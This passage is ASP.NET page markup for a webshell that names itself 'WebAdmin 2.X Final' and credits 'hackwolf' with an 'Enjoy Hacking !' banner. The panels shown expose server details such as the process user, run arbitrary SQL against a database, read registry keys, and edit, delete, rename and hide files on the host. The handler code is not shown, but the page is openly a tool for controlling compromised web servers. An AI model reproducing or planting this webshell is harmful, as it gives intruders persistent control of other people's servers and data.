<asp:Label id="ServerIP" runat="server" enableviewstate="False"></asp:Label></td>
</tr>
<tr>
<td height="73">
Machine Name</td>
<td>
<asp:Label id="MachineName" runat="server" enableviewstate="False"></asp:Label></td>
</tr>
<tr>
<td>
Network Name</td>
<td>
<asp:Label id="UserDomainName" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
User Name in this Process</td>
<td>
<asp:Label id="UserName" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
OS Version</td>
<td>
<asp:Label id="OS" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
Started Time</td>
<td>
<asp:Label id="StartTime" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
System Time</td>
<td>
<asp:Label id="NowTime" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
IIS Version</td>
<td>
<asp:Label id="IISV" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
HTTPS</td>
<td>
<asp:Label id="HTTPS" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
PATH_INFO</td>
<td>
<asp:Label id="PATHS" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
PATH_TRANSLATED</td>
<td>
<asp:Label id="PATHS2" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
SERVER_PORT</td>
<td>
<asp:Label id="PORT" runat="server"></asp:Label></td>
</tr>
<tr>
<td>
SeesionID</td>
<td>
<asp:Label id="SID" runat="server"></asp:Label></td>
</tr>
</tbody>
</table>
</asp:Panel>
<asp:Panel id="DATA" runat="server" Wrap="False" ToolTip="Manage Database" Visible="False">
<asp:Label id="label_datacs" runat="server" width="120px">ConnString :</asp:Label>
<asp:TextBox class="TextBox" id="DataCStr" runat="server" Wrap="False" Width="500px">Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\MyWeb\UpdateWebadmin\guestbook.mdb</asp:TextBox>
<br />
<asp:Label id="Label_datatype" runat="server" width="120px">Database Type:</asp:Label>
<asp:RadioButton id="Type_SQL" runat="server" Text="MSSQL" Width="80px" CssClass="buttom" OnCheckedChanged="DB_onrB_1" GroupName="DBType" AutoPostBack="True"></asp:RadioButton>
<asp:RadioButton id="Type_Acc" runat="server" Text="Access" Width="80px" CssClass="buttom" OnCheckedChanged="DB_onrB_2" GroupName="DBType" AutoPostBack="True" Checked="True"></asp:RadioButton>
<asp:Button class="buttom" id="DB_Submit" onclick="DB_Submit_Click" runat="server" Text="Submit" Width="80px"></asp:Button>
<br />
<asp:Label id="db_showTable" runat="server"></asp:Label>
<br />
<asp:Label id="DB_exe" runat="server" height="37px" visible="False">Execute SQL :</asp:Label>
<asp:TextBox id="DB_EString" runat="server" TextMode="MultiLine" Visible="false" Width="500" CssClass="TextBox" Height="50px"></asp:TextBox>
<asp:Button id="DB_eButton" onclick="DB_Exec_Click" runat="server" Text="Exec" Visible="false" CssClass="buttom"></asp:Button>
<br />
<asp:Label id="DB_ExecRes" runat="server"></asp:Label>
<br />
<asp:DataGrid id="DB_DataGrid" runat="server" Width="800px" with="100%" AllowPaging="true" AllowSorting="true" OnSortCommand="DB_Sort" PageSize="20" OnPageIndexChanged="DB_Page" PagerStyle-Mode="NumericPages">
<PagerStyle mode="NumericPages"></PagerStyle>
</asp:DataGrid>
</asp:Panel>
<asp:Panel id="reg" runat="server" Wrap="False" ToolTip="Read Regedit" Visible="False">
<asp:Label id="label_rkey" runat="server" width="80px">Key :</asp:Label>
<asp:TextBox class="TextBox" id="RegKey" runat="server" Wrap="False" Width="500px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox>
<br />
<asp:Label id="label_rV" runat="server" width="80px">Value:</asp:Label>
<asp:TextBox class="TextBox" id="RegValue" runat="server" Wrap="False" Width="200px">ComputerName</asp:TextBox>
<asp:Button class="buttom" id="ReadReg_Click" onclick="ReadReg" runat="server" Text="Read"></asp:Button>
<br />
<br />
<asp:Label id="RegResult" runat="server"></asp:Label>
</asp:Panel>
<asp:Panel id="about" runat="server" Wrap="False" ToolTip="about WebAdmin 2.X Final" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
<br />
<br />
<asp:Label id="label_about" runat="server" width="80px">WebAdmin 2.X Final is a webshell
run in ASP.Net code by&nbsp;</asp:Label>
<asp:HyperLink id="HyperLink1" runat="server" Visible="True" Target="_blank" NavigateUrl="http://canglangjidi.qyun.net">hackwolf</asp:HyperLink>
<br />
<asp:Image id="Image1" runat="server" ToolTip="Build20051225" Visible="True" ImageUrl="http://j.thec.cn/canglangjidi/cljd.jpg" AlternateText="Enjoy Hacking !"></asp:Image>
</asp:Panel>
<asp:Panel id="File_Edit" runat="server" Wrap="False" ToolTip="Edit File" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
<asp:Label id="label_path" runat="server">File Path : </asp:Label>
<asp:TextBox id="edited_path" runat="server" Width="300" CssClass="TextBox"></asp:TextBox>
*
<br />
<asp:TextBox id="edited_content" runat="server" TextMode="MultiLine" CssClass="TextBox" Columns="100" Rows="25"></asp:TextBox>
<br />
<asp:Button id="edited_Edit" onclick="FileEdit" runat="server" Text="Sumbit" CssClass="buttom"></asp:Button>
</asp:Panel>
<asp:Panel id="File_del" runat="server" Wrap="False" ToolTip="Delete File" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
<asp:Label id="label_del" runat="server"></asp:Label>
<br />
<asp:Button id="del_del" onclick="FileDel" runat="server" Text="Delete It" CssClass="buttom"></asp:Button>
</asp:Panel>
<asp:Panel id="File_Rename" runat="server" Wrap="False" ToolTip="Delete File" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
<asp:TextBox class="TextBox" id="btn_rename" runat="server" Wrap="False" Width="200px"></asp:TextBox>
<asp:Button id="rn_rn" onclick="rn_rn_Click" runat="server" Text="Rename It" CssClass="buttom"></asp:Button>
</asp:Panel>
<asp:Panel id="File_Att" runat="server" Wrap="False" Visible="False" Width="789px" Height="25px" HorizontalAlign="Center">
<asp:CheckBox class="TextBox" id="onlyread" Wrap="false" Text="ReadOnly" Width="100px" Runat="server"></asp:CheckBox>
<asp:CheckBox class="TextBox" id="hide" Wrap="false" Text="hide" Width="100px" Runat="server"></asp:CheckBox>
<asp:CheckBox class="TextBox" id="sys" Wrap="false" Text="sys" Width="100px" Runat="server"></asp:CheckBox>
<asp:CheckBox class="TextBox" id="archive" Wrap="false" Text="archive" Width="100px" Runat="server"></asp:CheckBox>
<br />
<asp:Button id="Set_Att" onclick="Set_Att_Click" runat="server" Text="Set It" CssClass="buttom"></asp:Button>
</asp:Panel>
</form>
</body>
</html>